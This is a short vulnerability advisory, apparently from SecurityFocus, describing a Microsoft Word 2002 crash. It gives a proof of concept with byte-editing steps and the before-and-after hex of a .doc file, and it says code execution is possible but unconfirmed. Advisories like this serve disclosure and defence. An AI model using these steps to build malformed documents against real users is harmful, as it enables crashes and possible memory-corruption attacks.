source: https://www.securityfocus.com/bid/8761/info

It has been reported that Microsoft Word is prone to a vulnerability that may allow an attacker to crash the software. The problem occurs when an attacker modifies the memory structure of a Word document. If a user opens the malformed document, it would cause the software to crash. This could potentially allow for corruption of memory, resulting in a possibility of arbitrary code execution, though this has not been confirmed. 

1. Open Word.
2. Save .doc file.
3. Modify .doc file by using binary editor as follows:

these lines were taken from .doc file of Microsoft Word 2002(10.2627.3311):

00 00 00 00 00 a3 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 01
00 00 00 00 00 00 b4 01 00 00 20 00 00 00 9c 01 00 00 00 00 00 00 9c
01 00 00 00 00 00 00 9c 01 00 00 00 00 00 00 9c 01 00 00 00 00 00 00
-------

4. Change them as follows:

00 00 00 00 00 a3 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 01
00 00 62 62 62 62 b4 01 00 00 20 00 00 00 9c 01 00 00 00 00 00 00 9c
01 00 00 00 00 00 00 9c 01 00 00 00 00 00 00 9c 01 00 00 00 00 00 00
-------

5. Open modified .doc file.
6. Microsoft Word will crashes.